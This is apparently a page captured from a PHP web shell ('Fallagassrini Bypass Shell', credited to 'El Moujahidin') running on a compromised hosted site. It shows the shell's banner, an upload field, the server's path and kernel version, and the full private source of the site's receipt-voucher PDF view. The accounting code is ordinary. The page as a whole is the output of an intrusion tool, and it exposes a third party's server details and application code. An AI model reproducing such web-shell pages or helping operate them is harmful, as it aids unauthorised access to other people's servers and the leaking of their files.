? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Accounting/receipt_voucher_pdf.php

<?php
$this->load->view('Accounting/number2word.php');
$company_details= $this->mastermodel->get_data_srow('company','1','company_id');
$currency = $this->mastermodel->get_data_srow('currency','1','default_currency');
$gl_details = $this->mastermodel->get_data('gl_trans',$refs->ref_id,'ref_id');
$html="";
foreach ($gl_details as $list)
{
    $var = substr($list['account_code'], 0,1);
    if(is_numeric($var))
    {
        $b=$list['account_code'];
    }
    else
    {
        $a=$list['account_code'];
    }
    $amount=$list['amount'];
    if($amount<0)
    {
        $customer_name =  $this->mastermodel->getSingleFieldValue('customer','customer_name','customer_no',$a);
        $customer_id =  $this->mastermodel->getSingleFieldValue('customer','customer_id','customer_no',$a);

        $words=convert_number(abs($amount));

        $html .='<html><head><body>';
$html.='<table width="100%" style="padding:10px;">
                    <tr>
                            <td>
                            <img src="'.base_url().'assets/images/'.$company_details->logo.'" width="400" height="148">
                            </td>
                             <tr>
                                 <td style="text-align:center;font-weight:bold;"><u>'.$payment_method.' Receipt</u></td>
                            </tr>
                    </tr>
            </table>';

$html.='
              <table width="100%" style="padding:10px;">

               <tr>
                        <td style="text-align:left;width:5%">To: </td><td>'.$customer_name.'<br/>'.$this->mastermodel->getcustomeraddress($customer_id).'</td>
                        <td style="text-align:right">Transaction Date: '.$this->mastermodel->convertdatenormalformat($refs->transaction_date).'<br/>Reference No: '.$refs->ref_code.'</td>
                </tr>

             </table>
                        <br/><br/><br/>
                        <hr>
                              <table width="100%" style="padding:10px;">
                    <tr style="height:30px;">
                        <td colspan="3">Received payment from '.$customer_name.':</td>
                    </tr>';
                    if($payment_method=='Cheque')
                    {
                        $cheque = $this->mastermodel->get_data_srow('cheque_info_transaction',$refs->ref_id,'ref_id');
                        $html.='<tr style="height:30px;">
                                <td>Cheque Date</td><td style="width:20px;">:</td><td>'.$this->mastermodel->convertdatenormalformat($cheque->cheque_date).'</td>
                             </tr>
                             <tr style="height:30px;">
                                <td>Cheque Drawn on</td><td style="width:20px;">:</td><td>'.$cheque->cheque_drawn.'</td>
                             </tr>
                             <tr style="height:30px;">
                                <td>Cheque No</td><td style="width:20px;">:</td><td>'.$cheque->cheque_no.'</td>
                             </tr>';
                    }
                    $html.='
                    <tr style="height:30px;">
                        <td>Amount</td><td style="width:20px;">:</td><td>'.$currency->currency_code.' '.number_format(abs($amount)).' ('.$currency->currency_code.' '.$words.')</td>
                    </tr>
                   

              </table>
           
              <hr>
              <div  style="text-align:right;width:80%;margin-right:50px;margin-top:100px;">Authorized Signatory</div>';
                $html.='<div style="page-break-after: always"></div>';
    }

}


        $html.='<script type="text/php">

          if ( isset($pdf) ) {
         $font = Font_Metrics::get_font("verdana", "normal");

          
          $pdf->page_text(20, 750, "'.$company_details->footer.'", $font, 10, array(0,0,0));
          }
          </script>
       </body> </html>';

pdf_create($html, 'Receipt Voucher');
 // echo $html;
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net